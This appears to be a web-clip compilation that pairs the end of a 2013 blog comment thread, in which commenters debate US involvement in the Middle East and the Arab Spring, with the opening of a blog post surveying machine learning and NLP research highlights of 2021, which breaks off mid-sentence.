to involve yourself in other regions besides direct occupation**.** You seem
to understand this when it comes to US involvement in Latin America, but for
some reason it’s not translating to the Middle East**.** I won’t repeat my
arguments that I’ve made on this…if you care to refresh your memory, you are
welcome to scroll up and read again**.** I’ll simply state one last time that
this conflict did not begin with 9/11**.** There are a myriad of events that
are historically well documented, that prove my point \(on both sides-
religious extremism and Western involvement in the region\) but you continue
to ignore them for reasons I can’t possibly fathom**.** This will be my final
comment to you**.** I now realize that we are wasting each others precious
time**.** Cheers**.**

Reply

  11. <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 3, 2013 at 11:00 am

> You seem to understand this when it comes to US involvement in Latin
> America, but for some reason it’s not translating to the Middle East**.**
I see that you have walked away from discussion to note that, in fact, I
addressed your specific points**.** I have applied the same analysis with
respect to Latin America, from which there has been essentially no terrorism
directed against the US**.**

I do not claim that the issue with the Arab regions began on 9/11/01**.** I
claimed that the issue of terrorism does not have much to do with the US and
has a lot to do with political problems and social problems and educational
problems and religious problems that plague the Arab and greater Muslim
regions**.** The biggest of the issues is the interest of the religious elite
and their supporters to maintain the privileges they have in society**.** That
issue plays out very differently in the Latin America, with results that are
very different**.**

Please note that it was very much the work of the religious elite who caused
the decline of the Ottoman Empire**.** That elite opposed efforts to
modernize**.** That elite held that the printing press was demonic, which
resulted in the Ottoman Empire keeping printed publications away from Muslims
well into 19th Century and, in the Arab regions in particular, into the late
19th Century**.** This was a disaster for the region**.** Rather amazingly,
there was no similar directive against non-Muslims in the Ottoman Empire
having the printing press and using it \(so long as they did not direct its
use, of course, against the government\)**.** So, this was, in fact, the work
of the religiously inspired classes**.**

Please also note that you are correct that problems did not begin in 2001**.**
However, the US had exactly nothing to do with the break up of the Ottoman
Empire**.** We never attacked it \(other than in response to piracy in the
early years of the US\) and, during WWI, we maintained strict neutrality with
regard to the Ottoman Empire, notwithstanding that the US was an ally of
Britain and France while the Ottoman Empire was an ally of Germany**.** The UK
and France, not the US, broke up the Ottoman Empire**.**

Moreover, the arrangement reached after WWI, notwithstanding all of the
Internet information to the contrary, was not wholly done to advance the
interests of the UK and France – although, of course, that was certainly part
of the mix**.** In fact – and contrary to what most people understand -, local
leaders were not only consulted on the governing entities created but, in
fact, those leaders played a significant role in determining the boundaries,
which is why those leaders \(most particularly, but not only, the children of
Hussein bin Ali \[i**.** e., the then Sharif of Mecca\]\) cooperated.

People tend to forget that there had not been any Arab rule in the Arab
regions for many hundreds of years so that the issue of local rule was in a
way a novel idea**.** It was not universally accepted, most particularly
because many Arabs were rather loyal to the concept of a universal empire such
as the Ottoman Empire**.** The notion of a universal empire has been the bane
of the Arab regions ever since, with Arabism, Ba’athism, Islamism \(not the
current Islamism but an earlier ideology\) all seeking to unite people under
an imperial banner**.**

Now, it is true that the US cares \(or, at this point, the allies of the US
care\) about oil in the Gulf**.** The US, since 1973 or so, has also allied
itself with Israel**.** All of this has created some friction. However, the
allegation that the US prevents all change has been rather roundly disproved
by the uprising in the Arab regions that the US has done nothing to stop**.**
The main issue is the agenda of the religious elite and its allies, which puts
that elites privileges first and foremost, notwithstanding how destructive its
agenda is for Muslims.

Reply

     * <img src='img/Temp2_9498.png' width='40' height='40' /> Serenity Now says: 
July 3, 2013 at 11:19 am

You literally have no idea what you’re talking about…the US has done nothing
to try and stop Arab Spring Uprisings**?** I guess this kind of thing doesn’t
count?

http://www.reuters.com/article/2012/05/12/us-usa-bahrain-idUSBRE84A11R20120512

Reply

       * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 3, 2013 at 11:54 am

You confuse selling arms with blocking political change**.** Did we stop the
uprising in Egypt**?** in Libya – where we in fact assisted it? in
Tunisia**?** in Syria?

I think you miss the point**.** The US does not really care who governs so
long as the government is not actively hostile to the US**.** And, given that
the Islamist regime in Egypt has been, from the beginning, hostile to the US,
not only over this or that matter but on principle, the fact that the Obama
administration continued to supply arms to the regime ought to tell you that
the US is rather tolerant of whatever moronic or good style of government Arab
regimes try to create**.**

Your view seems to be that US has an obligation to be the advocate of change
in the Arab regions**.** We don’t**.** We have no obligation to sell only to
regimes which advance your idea of what is best for those being governed**.**
And, to note, notwithstanding fantasy notions, there is no likelihood, outside
of Tunisia, of any real democracy coming anywhere to the Arab regions, whether
we usher it in or stand aside**.** The issue is the claim of the religious
elite against the old governing elite**.** Neither group favors democracy**.**
Both think it the enemy of the good. And, the group which actually does favor
democracy is, at this point, insufficiently large when compared to the two
major groups vying for power – the old guard and the religious elite -, both
of which, as I noted, have no use for democracy**.**

So, I think your views are interesting**.** They, however, are not factually
grounded in the Middle East**.** Rather, you are projecting your preference
for democracy as the issue in play in the Middle east**.** Instead, we have a
power dispute between two, very large, anti-democratic forces**.**

  12. <img src='img/Temp2_9498.png' width='40' height='40' /> Serenity Now says: 
July 3, 2013 at 1:20 pm

Selling arms to regimes that are using those arms against their own people who
are in the midst of protesting for democracy isn’t, in your view, a way of
assisting with the blocking of political change**?** C’mon man…at least be
honest here. That’s a ridiculous statement to make.

We stood by and supported Mubarek for nearly 30 years, until it was clear that
the majority of public opinion in Egypt was negative and wanted a change**.**
Only then did we remove our support for that regime, claiming that we stood
with democracy**.** But there were all kinds of reports coming out of there
during the lead up to the election, blaiming the US for attempting to
manipulate the political process**.** This would be nothing new for the US by
the way.

Libya too, we treated Goddafi like an ally and gave them nothing but support-
monetarily and militarily, for years and years**.** Again, once it was clear
that the people of Libya wanted a change, we withdrew our support and helped
the people**.** But it can be argued that what we did, wasn’t very helpful
because now an entire swath of Islamic extremists and militias are tearing
that country apart**.** It’s the wild west. Intervention there, without a
reconstruction plan, was shortsighted and now it’s a problem**.**

Syria has never been an ally, so that’s a bad example**.** But it’s exactly
why, even though we won’t put troops on the ground, don’t be naive in thinking
that we aren’t involved there and don’t have a stake in who the next leader
is**.**

Your suggestion that the US doesn’t care who the regimes are, so long as they
aren’t hostile to the US, is correct, but only in the sense that it prooves my
point**.** This is why we don’t want democratic governments over there and we
have worked so hard to make sure the leaders and in many sense theocratic
dictators in these countries are people that will work with the US and support
our interests**.** This cannot happen without intervening and influencing in
any number of ways, the political processes of the Middle East**.** The reason
we sell arms to Bahrain is because they let us house our Navy’s 5th fleet
there, and because Saudi Arabia doesn’t want democracy to spread to Bahrain,
because it’s promixity to the Saudi Kingdom**.** The Saudi’s fear that if
democracy was to take hold in Bahrain, it could spread to their country
too**.** The Saudis are one of our largest oil partners**.** We will always
stand with them.

No, I don’t think the US has a responsbility to advocate change in the ME**.**
Quite the opposite. That’s the point**.** It shouldn’t be meddling in the
affairs of other nations at all, particularly the political process, and
espeically when it runs counter to what the people in those nations seem to
want**.** We selectively take the side of the people in various countries,
when it serves our purposes**.**

The two anti-democratic forces you keep talking about…you are aware that the
US and its allies have supported a number of these regimes for years
right**?** My point is this…you cannot espouse democracy and then actively
support regimes that are undemocratic and expect to be taken seriously**.**

Reply

     * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
July 3, 2013 at 2:09 pm

> Selling arms to regimes that are using those arms against their own people
> who are in the midst of protesting for democracy isn’t, in your view, a way
> of assisting with the blocking of political change**?** C’mon man…at least
> be honest here. That’s a ridiculous statement to make**.**
No it is not ridiculous**.** Your assumptions are \(a\) that there were
protests for democracy – which is nonsense – and \(b\) that we were blocking
democracy – which is also nonsense – are important points**.** In fact, there
were, among the protesters, an insufficiently large group of democracy
advocates**.** Most, however, were not. In fact, democracy had essentially
nothing to do with what occurred**.** Most were part of the MB.

If I might recommend a rather good book, written more or less a year before
the so-called Arab Spring**.** The book is, _The Coming Revolutions_ , by
Walid Phares**.** In the book, Professor Phares sets forth in considerable
detail \(a\) the forces vying for power in the ME, country by country, \(b\)
what each of the vying parties wants, again, country by country, and \(c\) the
reasons why revolutions were then ripe**.** Now, Phares might have some detail
wrong. However, he does have the advantage, unlike most other commentators, to
have noted the obvious, which is that the existing power structure in the Arab
regions was ripe for revolutions, which he predicted were coming
imminently**.** I read the book just prior to the time that unrest broke
out**.**

Phares notes also that much of what is occurring has very little to do with
the US and a great deal to do with local matters and that the two largest
groups fighting have no interest whatsoever in democracy**.** Which is to say,
my argument that we have largely a dispute between religious elites and the
old guard is not original with me**.** It is factually well grounded.

Phares also notes that the biggest reason for lack of knowledge in the West
about the ME is money coming from Arab regimes, which have largely bought off
academia, with extraordinarily large grants \(e**.** g., the grants found to
have corrupted the LSE\). In this regard, think what polluters do paying for
friendly scientific opinion, except that with politics and government, it is
easier to make stuff up**.**

The grants to academia by the old guard in the Arab world have come with the
aim of their maintaining power, which requires no one stirring up trouble for
them**.** What they largely obtained is an academia which \(a\) failed to
notice how perilous the hold of power of the governing elite was, \(b\) failed
miserably at pointing out the shortcomings of these regimes and \(c\) created
an irenic version of Arab civilization – which, on my telling, is a great
civilization, just not the irenic and tolerant one which academia has largely
portrayed – and Arab society and governance**.** So, those taught by these
corrupt academicians saw what they were taught**.** Reporters, also taught by
these academicians ignored stark brutality, deep resentments, fanaticism, all
of which having been peddled as being exaggerated by enemies of the Arabs when
they were lived reality for most Arabs**.** Having created a fantasy version
of reality, these reporters and academics missed revolutions in the
making**.** The befuddled included, evidently, the US government, which did
not see any revolutions coming**.** They read different books, evidently.

Now, you think the US should stay out of the business of the Arabs**.** Up to
a point, I agree. However, the point of my agreement ends when Arab
governments advance their own survival by demonizing the OTHER, which is a
dangerous tactic, as it produces real wars**.** Moreover, the Arab regions
are, at this point, the places with the most anti-Christian, Antisemitic and
anti-Western rhetoric on Earth**.** It is my interest that such lunacies be
countered because, as a student of history, I note that such lunacies tend to
create wars**.** And, as a person of Jewish background, I cannot help but
notice that the Antisemitic rhetoric is actually far beyond, in scope and in
repetitiveness, that which came out of Europe in the 1930′s**.** So, I think
we have a rather terrifying reality, not one that we can simply watch on the
sidelines**.**

Mubbarak was, as you note, in power for a long time**.** In fact, his group
was in power since the 1952 coup**.** That coup brought Nasser to power and
overthrew the quasi-democratic government then in power**.** Nasser then went
and allied himself with the USSR. The US worked to undermine that relationship
but without success, which occurred when the US brokered a peace agreement
between the Egyptians and the Israelis**.**

That peace agreement was, I think, a good thing although, in fact, few
Egyptians agreed**.** However, it has reduced the amount of violence
dramatically**.** Egyptians are not dying in large numbers on a Quixotic
effort to destroy the Israelis**.** Israelis are not dying in large numbers to
defend themselves from the Egyptians**.** The Sinai has been largely peaceful.
Were it possible to build on that peace to resolve the dispute between
Israelis and Palestinian Arabs, that would be great as well**.** But, it is
not going to happen anytime soon.

However, whether or not we support democracy or not, democracy is not coming
into existence in the ME anytime soon**.** I suspect that, looking back on
this maybe 200 years from now, historians will note that we have seen some
birthing pains towards a more democratic order inn the ME but that, as with
the revolutions in Europe in the mid-19th Century, democracy had a long way to
go and there would have to be a lot of horrible wars, as in Europe, before
democracy spread as a permanent fact of life governing how average Arabs see
governance and how they define themselves**.**

Reply

  13. <img src='img/Temp2_9503.png' width='40' height='40' /> Paul Khann says: 
July 15, 2013 at 7:52 pm

As the saying goes: “Show me yours and I’ll show you mine”  
If government is afraid of what its own people think, then somethings really
wrong here**.**  
Finally, to when Mr. Obama, Clapper and William Hague says: “law abiding
citizens have nothing to worry about”, then i would reply:  
“-Sure, so it means you’re giving me permission to photograph your wife and
daughter naked and then sell it to whom i want**?** Because that’s what
government’s doing right now. “

Reply

### Leave a Reply Cancel reply****

****

# ML and NLP Research Highlights of 2021

**Created:**| _1/29/2022 8:30:24 AM_  
---|---  
**Updated:**| _1/29/2022 8:30:24 AM_  
**Author:**| __  
**Tags:**| __  
  

  

Credit for the title image: Liu et al. \(2021\)

2021 saw many exciting advances in machine learning \(ML\) and natural
language processing \(NLP\). In this post, I will cover the papers and
research areas that I found most inspiring. I tried to cover the papers that I
was aware of but likely missed many relevant ones. Feel free to highlight them
as well as ones that you found inspiring in the comments. I discuss the
following highlights:

  1. Universal Models
  2. Massive Multi-task Learning
  3. Beyond the Transformer
  4. Prompting
  5. Efficient Methods
  6. Benchmarking
  7. Conditional Image Generation
  8. ML for Science
  9. Program Synthesis
  10. Bias
  11. Retrieval Augmentation
  12. Token-free Models
  13. Temporal Adaptation
  14. The Importance of Data
  15. Meta-learning

# 1\) Universal Models

<img src='img/xslr.png' width='700' height='210' />

Self-supervised cross-lingual representation learning on speech using XLS-R.
The model is pre-trained on diverse multilingual speech data using a self-
supervised wav2vec 2.0-style loss. The trained model can then be fine-tuned on
different speech tasks \(Babu et al., 2021\).

**What happened?** 2021 saw the continuation of the development of ever larger
pre-trained models. Pre-trained models were applied in many different domains
and started to be considered critical for ML research \[1\]. In computer
vision, supervised pre-trained models such as Vision Transformer \[2\] have
been scaled up \[3\] and self-supervised pre-trained models have started to
match their performance \[4\]. The latter have been scaled beyond the
controlled environment of ImageNet to random collections of images \[5\]. In
speech, new models have been built based on wav2vec 2.0 \[6\] such as W2v-BERT
\[7\] as well as more powerful multilingual models such as XLS-R \[8\]. At the
same time, we saw new unified pre-trained models for previously under-
researched modality pairs such as for videos and language \[9\] as well as
speech and language \[10\]. In vision and language, controlled studies shed
new light on important components of such multi-modal models \[11\]\[12\]. By
framing different tasks in the paradigm of language modelling, models have had
great success also in other domains such as reinforcement learning \[13\] and
protein structure prediction \[14\]. Given the observed scaling behaviour of
many of these models, it has become common to report performance at different
parameter sizes. However, increases in pre-training performance do not
necessarily translate to downstream settings \[15\]\[16\].

**Why is it important?** Pre-trained models have been shown to generalize well
to new tasks in a given domain or modality. They demonstrate strong few-shot
learning behaviour and robust learning capabilities. As such, they are a
valuable building block for research advances and enable new practical
applications.

**What’s next?** We will undoubtedly see more and even larger pre-trained
models developed in the future. At the same time, we should expect individual
models to perform more tasks at the same time. This is already the case in
language where models can perform many tasks by framing them in a common text-
to-text format. Similarly, we will likely see image and speech models that can
perform many common tasks in a single model. Finally, we will see more work
that trains models for multiple modalities.

# 2\) Massive Multi-task Learning

<img src='img/ext5.png' width='700' height='284' />

Massive multi-task learning with ExT5. During pre-training, the model is
trained on the inputs \(left\) of a diverse set of different tasks in a text-
to-text format to produce the corresponding outputs \(right\). The tasks
include masked language modeling, summarization, semantic parsing, closed-book
question answering, style transfer, dialogue modeling, natural language
inference, Winograd-schema style coreference resolution \(top to bottom\),
among others \(Aribandi et al., 2021\).

**What happened?** Most pre-trained models in the previous section are self-
supervised. They generally learn from large amounts of unlabelled data via an
objective that does not require explicit supervision. However, for many
domains large amounts of labelled data are already available, which can be
used to learn better representations. So far, multi-task models such as T0
\[17\], FLAN \[18\], and ExT5 \[19\] have been pre-trained on around 100 tasks
mainly for language. Such massive multi-task learning is closely related to
meta-learning. Given access to a diverse task distribution \[20\], models can
_learn_ to learn different types of behaviour such as how to do in-context
learning \[21\].

**Why is it important?** Massive multi-task learning is possible due to the
fact that many recent models such as T5 and GPT-3 use a text-to-text format.
Models thus no longer require hand-engineered task-specific loss functions or
task-specific layers in order to effectively learn across multiple tasks. Such
recent approaches highlight the benefit of combining self-supervised pre-
training with supervised multi-task learning and demonstrate that a
combination of both leads to models that are more general.

**What’s next?** Given the availability and open-source nature of datasets in
a unified format, we can imagine a virtuous cycle where newly created high-
quality datasets are used to train more powerful models on increasingly
diverse task collections, which could then be used in-the-loop to create more
challenging datasets.

# 3\) Beyond the Transformer

<img src='img/perceiver.png' width='700' height='217' />

The Perceiver projects a high-dimensional input byte array via cross-attention
to a fixed-dimensional latent array, which it processes with a transformer
self-attention block. Cross-attention and self-attention blocks are then
applied alternatingly \(Jaegle et al., 2021\).

**What happened?** Most pre-trained models discussed in the previous sections
build on the transformer architecture \[22\]. 2021 saw the development of
alternative model architectures that are viable alternatives to the
transformer. The Perceiver \[23\] is a transformer-like architecture that
scales to very high-dimensional inputs by using a latent array of a fixed
dimensionality as its base representation and conditioning this on the input
via cross-attention. Perceiver IO \[24\] extended the architecture to also
deal with structured output spaces. Other models have tried to replace the
ubiquituous self-attention layer, most notably using multilayer perceptrons
\(MLPs\) such as in the MLP-Mixer \[25\] and gMLP \[26\]. Alternatively, FNet
\[27\] uses 1D Fourier Transforms instead of self-attention to mix information
at the token level. In general, it is useful to think of an architecture as
decoupled from the pre-training strategy. If CNNs are pre-trained the same way
as transformer models, they achieve competitive performance on many NLP tasks
\[28\]. Similarly, using alternative pre-training objectives such as ELECTRA-
style pre-training \[29\] may lead to gains \[30\].

**Why is it important?** Research progresses by exploring many complementary
or orthogonal directions at the same time. If most research focuses on a
single architecture, this will inevitably lead to bias, blind spots, and
missed opportunities. New models may address some of the transformers'
limitations such as the computational complexity of attention, its black-box
nature, and order-agnosticity. For instance, neural extensions of generalized
additive models offer much better interpretability compared to current models
\[31\].

**What’s next?** While pre-trained transformers will likely continue to be
deployed as standard baselines for many tasks, we should expect to see
alternative architectures particularly in settings where current models fail
short, such as modeling long-range dependencies and high-dimensional inputs or
where interpretability and explainability are required.

# 4\) Prompting

<img src='img/p3.png' width='700' height='231' />

Prompt templates from the P3 prompt collection. Multiple templates are
possible for each task. Each template consists of an input pattern and a
target verbalizer. For paraphrasing, _Choices_ consist of \{Not duplicates,
Duplicates\} and \{Yes, No\} in the first and second template respectively
\(Sanh et al., 2021\).

**What happened?** Popularized by GPT-3 \[32\], prompting has emerged as a
viable alternative input format for NLP models. Prompts typically include a
_pattern_ that asks the model to make a certain prediction and a _verbalizer_
that converts the prediction to a class label. Several approaches such as PET,
\[33\] iPET \[34\], and AdaPET \[35\] leverage prompts for few-shot learning.
Prompts are not a silver bullet, however. Models' performance varies
drastically depending on the prompt and finding the best prompt still requires
labeled examples \[36\]. In order to compare models reliably in a few-shot
setting, new evaluation procedures have been developed \[37\]. A large number
of prompts are available as part of the public pool of prompts \(P3\),
enabling exploration of the best way to use prompts. This survey \[38\]
provides an excellent overview of the general research area.

**Why is it important?** A prompt can be used to encode task-specific
information, which can be worth up to 3,500 labeled examples, depending on the
task \[39\]. Prompts thus an enable a new way to incorporate expert
information into model training, beyond manually labeling examples or defining
labeling functions \[40\].

**What’s next?** We have only scratched the surface of using prompts to
improve model learning. Prompts will become more elaborate, for instance
including longer instructions \[18:1\] as well as positive and negative
examples \[41\] and general heuristics. Prompts may also be a more natural way
to incorporate natural language explanations \[42\] into model training.

# 5\) Efficient Methods

<img src='img/magma.png' width='700' height='372' />

Multi-modal adaptation with MAGMA. A frozen pre-trained language model is
adapted to multi-modal tasks using a visual prefix learned via an image
encoder as well as vision-specific adpater layers \(Eichenberg et al., 2021\).

**What happened?** A downside of pre-trained models is that they are generally
very large and often inefficient to use in practice. 2021 brought advances
both in more efficient architectures as well as in more efficient fine-tuning
methods. On the modeling side, we saw several more efficient versions of self-
attention \[43\]\[44\]. This survey \[45\] provides an overview of pre-2021
models. Current pre-trained models are so powerful that they can be
effectively conditioned by only updating few parameters, which has led to the
development of more efficient fine-tuning approaches based on continuous
prompts \[46\]\[47\] and adapters \[48\]\[49\]\[50\], among others. This
capability also enables adaptation to new modalities by learning an
appropriate prefix \[51\] or suitable transformations \[52\]\[53\]. Other
methods such as quantization for creating more efficient optimizers \[54\] as
well as sparsity have also been used.

**Why is it important?** Models are not useful if they are infeasible or
prohibitively expensive to run on standard hardware. Advances in efficiency
will ensure that while models are growing larger, they will be benefical and
accessible to practicioners.

**What’s next?** Efficient models and training methods should become easier to
use and more accessible. At the same time, the community will develop more
effective ways to interface with large models and to efficiently adapt,
combine or modify them without having to pre-train a new model from scratch.

# 6\) Benchmarking

<img src='img/dataset_concentration.png' width='700' height='214' />

Increases in concentration of dataset usage on institutions and datasets over
time. Map of dataset usages per institution \(left\). Over 50% of dataset
usages can be attributed to 12 institutions. The concentration of dataset
usage on institutions and specific datasets as measured by the Gini
coefficient has increased in recent years \(right\) \(Koch et al., 2021\).

**What happened?** The rapidly improving capabilities of recent ML and NLP
models have outpaced the ability of many benchmarks to measure them. At the
same time, communities evaluate on fewer and fewer benchmarks, which originate
from a small number of elite institutions \[55\]. Consequently, 2021 saw much
discussion of best practices and ways in which we can reliably evaluate such
models going forward, which I cover in this blog post. Notable leaderboard
paradigms that emerged in 2021 in the NLP community are dynamic adversarial
evaluation \[56\], community-driven evaluation where community members
collaborate on creating evaluation datasets such as BIG-bench, interactive
fine-grained evaluation across different error types \[57\], and multi-
dimensional evaluation that goes beyond evaluating models on a single
performance metric \[58\]. In addition, new benchmarks were proposed for
influential settings such as few-shot evaluation \[59\]\[60\] and cross-domain
generalization \[61\]. We also saw new benchmarks focused on evaluating
general-purpose pre-trained models, for specific modalities such as speech
\[62\] and specific languages, for instance, Indonesian and Romanian
\[63\]\[64\], as well as across modalities \[65\] and in a multilingual
setting \[66\]. We also should pay more attention to evaluation metrics. A
machine translation \(MT\) meta-evaluation \[67\] revealed that among 769 MT
papers of the last decade, 74.3% only used BLEU, despite 108 alternative
metrics—often with better human correlation—having been proposed. Recent
efforts such as GEM \[68\] and bidimensional leaderboards \[69\] thus propose
to evaluate models and methods jointly.

**Why is it important?** Benchmarking and evaluation are the linchpins of
scientific progress in machine learning and NLP. Without accurate and reliable
benchmarks, it is not possible to tell whether we are making genuine progress
or overfitting to entrenched datasets and metrics.

**What’s next?** Increased awareness around issues with benchmarking should
lead to a more thoughful design of new datasets. Evaluation of new models
should also focus less on a single performance metric but take multiple
dimensions into account, such as a model's fairness, efficiency, and
robustness.

# 7\) Conditional image generation

<img src='img/clip_generation.gif' width='700' height='343' />

How CLIP Generates Art. A generative model generates an image based on a
latent vector. The latent vector is then updated based on the similarity of
CLIP's embeddings of the generated image and the text description. This
process is repeated until convergence \(Credit: Charlie Snell\).

**What happened?** Conditional image generation, i.e., generating images based
on a text description, saw impressive results in 2021. An art scene emerged
around the most recent generation of generative models \(see this blog post
for an overview\). Rather than generating an image directly based on a text
input as in the DALL-E model \[70\], recent approaches steer the output of a
powerful generative model such as VQ-GAN \[71\] using a joint image-and-text
embedding model such as CLIP \[72\]. Likelihood-based diffusion models, which
gradually remove noise from a signal have emerged as powerful new generative
models that can outperform GANs \[73\]. By guiding their outputs based on text
inputs, recent models are approaching photorealistic image quality \[74\].
Such models are also particularly good at inpainting and can modify regions of
an image based on a description.

**Why is it important?** Automatic generation of high quality images that can
be guided by users opens a wide range of artistic and commercial applications,
from the automatic design of visual assets, model-assisted prototyping and
design, personalization, etc.

**What’s next?** Sampling from recent diffusion-based models is much slower
compared to their GAN-based counterparts. These models require improvements in
efficiency to make them useful for real-world applications. This area also
requires more research in human-computer interaction, to identify the best
ways and applications where such models can assist humans.

# 8\) ML for Science

<img src='img/alphafold_2.0.png' width='700' height='256' />

The architecture of AlphaFold 2.0. The model attends over evolutionarily
related protein sequences as well as amino acid residue pairs and iteratively
passes information between both representations \(Credit: DeepMind\).

**What happened?** 2021 saw several breakthroughs in ML applied to advance the
natural sciences. In meteorology, advances in precipitation nowcasting and
forecasting \[75\]\[76\] led to substantial improvements in forecast accuracy.
In both cases, models outperformed state-of-the-art physics-based forecast
models. In biology, AlphaFold 2.0 managed to predict the structure of proteins
with unprecedented accuracy, even in cases where no similar structure is known
\[14:1\]. In mathematics, ML was shown to be able to guide the intuition of
mathematicians in order to discover new connections and algorithms \[77\].
Transformer models have also been shown to be capable of learning mathematical
properties of differential systems such as local stability when trained on
sufficient amounts of data \[78\].

**Why is it important?** Using ML for advancing our understanding and
applications in natural sciences is one of its most impactful applications.
Using powerful ML methods enables both new applications and can greatly speed
up existing ones such as drug design.

**What’s next?** Using models in-the-loop to assist researchers in the
discovery and development of new advances is a particularly compelling
direction. It requires both the development of powerful models as well as work
on interactive machine learning and human-computer interaction.

# 9\) Program synthesis

<img src='img/dobf.png' width='700' height='306' />

Comparison of masked language modeling \(ML\) and deobfuscation \(DOBF\) pre-
training objectives for modeling code. MLM predicts randomly masked tokens,
which mainly relate to a programming language's syntax. DOBF requires
deobfuscating the names of functions and variables, which is much more
challenging \(Roziere et al., 2021\).

**What happened?** One of the most notable applications of large language
models this year was code generation, which saw with Codex \[79\] its first
integration into a major product as part of GitHub Copilot. Other advances in
pre-training models ranged from better pre-training objectives \[80\]\[81\] to
scaling experiments \[82\]\[83\]. Generating complex and long-form programs is
still a challenge for current models, however. An interesting related
direction is learning to execute or model programs, which can be improved by
performing multi-step computation where intermediate computation steps are
recorded in a "scratchpad" \[84\].

**Why is it important?** Being able to automatically synthesize complex
programs is useful for a wide variety of applications such as supporting
software engineers.

**What’s next?** It is still an open question how much code generation models
improve the workflow of software engineers in practice \[85\]. In order to be
truly helpful, such models—similarly to dialogue models—need to be able to
update their predictions based on new information and need to take the local
and global context into account.

# 10\) Bias

<img src='img/toxicity_reduction.png' width='700' height='280' />

Unintended side-effects of automatic toxicity mitigation. Over-filtering of
text about marginalized groups reduces the ability of language models to
produce \(even positive\) text about said groups \(Welbl et al., 2021\).

**What happened?** Given the potential impact of large pre-trained models, it
is crucial that they do not contain harmful biases, are not misused to
generate harmful content, and are used in a sustainable manner. Several
reviews \[1:1\]\[86\]\[87\] highlight the potential risks of such models. Bias
has been investigated with regard to protected attributes such as gender,
particular ethnic groups, and political leaning \[88\]\[89\]. Removing bias
from models such as toxicity, however, comes with trade-offs and can lead to
reduced coverage for texts about and authored by marginalized groups \[90\].

**Why is it important?** In order to use models in real-world applications,
they should not exhibit any harmful bias and not discriminate against any
group. Developing a better understanding of the biases of current models and
how to remove them is thus crucial for enabling safe and responsible
deployment of ML models.

**What’s next?** Bias has so far been mostly explored in English and in pre-
trained models and for specific text generation or classification
applications. Given the intended use and lifecycle of such models, we should
also aim to identify and mitigate bias in a multilingual setting, with regard
to the combination of different modalities, and at different stages of a pre-
trained model's usage—after pre-training, after fine-tuning, and at test time.

# 11\) Retrieval Augmentation

<img src='img/retro.png' width='700' height='271' />

Overview of the RETRO architecture. An input sequence is split into multiple
chunks \(left\). For each input chunk, nearest neighbor chunks are retrieved
using approximate nearest neighbor search based on BERT embedding similarity.
The model attends to the nearest neighbors using chunked cross-attention
\(right\) interleaved with standard transformer layers \(Borgeaud et al.,
2021\).

**What happened?** Retrieval-augmented language models, which integrate
retrieval into pre-training and downstream usage, have already featured in my
highlights of 2020. In 2021, retrieval corpora have been scaled up to a
trillion tokens \[91\] and models have been equipped with the ability to query
the web for answering questions \[92\]\[93\]. We have also seen new ways to
integrate retrieval into pre-trained language models \[94\]\[95\].

**Why is it important?** Retrieval augmentation enables models to be much more
parameter-efficient as they need to store less knowledge in their parameters
and can instead retrieve it. It also enables effective domain adaptation by
simply updating the data used for retrieval \[96\].

**What’s next?** We might see different forms of retrieval to leverage
different kinds of information such as common sense knowledge, factual
relations, linguistic information, etc. Retrieval augmentation could also be
combined with more structured forms of knowledge retrieval, such as methods
from knowledge base population and open information extraction.

# 12\) Token-free Models

<img src='img/charformer.png' width='700' height='132' />

Subword block formation and scoring in Charformer. Subwords are formed based
on contiguous n-gram sequences \(a\), which are scored by a separate scoring
network. Block scores are then replicated over their original positions \(b\).
Finally, subwords at each position are summed, weighted based on their block
scores to form latent subwords \(Tay et al., 2021\).

**What happened?** 2021 saw the emergence of new token-free methods that
directly consume a sequence of characters \[97\]\[98\]\[99\]. These models
have been demonstrated to outperform multilingual models and perform
particularly well on non-standard language. They are thus a promising
alternative to the entrenched subword-based transformer models \(see this
newsletter for a coverage of these 'Char Wars'\).

**Why is it important?** Since pre-trained language models like BERT, a text
consisting of tokenized subwords has become the standard input format in NLP.
However, subword tokenization has been shown to perform poorly on noisy input,
such as on typos or spelling variations common on social media, and on certain
types of morphology. In addition, it imposes a dependence on the tokenization,
which can lead to a mismatch when adapting a model to new data.

**What’s next?** Due to their increased flexibility, token-free models are
better able to model morphology and may generalize better to new words and
language change. It is still unclear, however, how they fare compared to
subword-based methods on different types of morphological or word formation
processes and what trade-offs these models make.

# 13\) Temporal Adaptation

<img src='img/temporal_strategies.png' width='700' height='151' />

Different training strategies for temporal adaptation with T5. The Uniform
model \(left\) trains on all data without explicit time information. The
Yearly setup \(middle\) trains a separate model for each year while the
Temporal model \(right\) prepends a time prefix to each example \(Dhingra et
al., 2021\).

**What happened?** Models are biased in many ways based on the data that they
are trained on. One of these biases that has received increasing attention in
2021 is a bias regarding the timeframe of the data the models have been
trained on. Given that language continuously evolves and new terms enter the
discourse, models that are trained on outdated data have been shown to
generalize comparatively poorly \[100\]. When temporal adaptation is useful,
however, may depend on the downstream task. For instance, it may be less
helpful for tasks where event-driven changes in language use are not relevant
for task performance \[101\].

**Why is it important?** Temporal adaptation is particularly important for
question answering where answers to a question may change depending on when
the question was asked \[102\]\[103\].

**What’s next?** Developing methods that can adapt to new timeframes requires
moving away from the static pre-train–fine-tune setting and requires efficient
ways to update the knowledge of pre-trained models. Both efficient methods as
well as retrieval augmentation are useful in this regard. It also requires
developing models for which the input does not exist in a vacuum but is
grounded to extra-linguistic context and the real world. For more work on this
topic, check out the EvoNLP workshop at EMNLP 2022.

# 14\) The Importance of Data

<img src='img/marvl.png' width='700' height='270' />

An example from MaRVL related to the Swahili concept _leso_
\("handkerchief"\), which requires models to identify whether the description
in the caption is true or false. The caption \(in Swahili\) is: _Picha moja
ina watu kadhaa waliovaa leso na picha nyingine ina leso bila watu._ \("One
picture contains several people wearing handkerchiefs and another picture has
a handkerchief without people."\). The label is false \(Liu et al., 2021\).

**What happened?** Data has long been a critical ingredient for ML but is
typically overshadowed by advances in modelling. Given the importance of data
for scaling up models, however, attention is slowly shifting from model-
centric to data-centric approaches. Important topics include how to build and
maintain new datasets efficiently and how to ensure data quality \(see the
Data-centric AI workshop at NeurIPS 2021 for an overview\). In particular,
large-scale datasets used by pre-trained models came under scrutiny this year
including multi-modal datasets \[104\] as well as English and multilingual
text corpora \[105\]\[106\]. Such an analysis can inform the design of more
representative resources such as MaRVL \[107\] for multi-modal reasoning.

**Why is it important?** Data is critically important for training large-scale
ML models and a key factor in how models acquire new information. As models
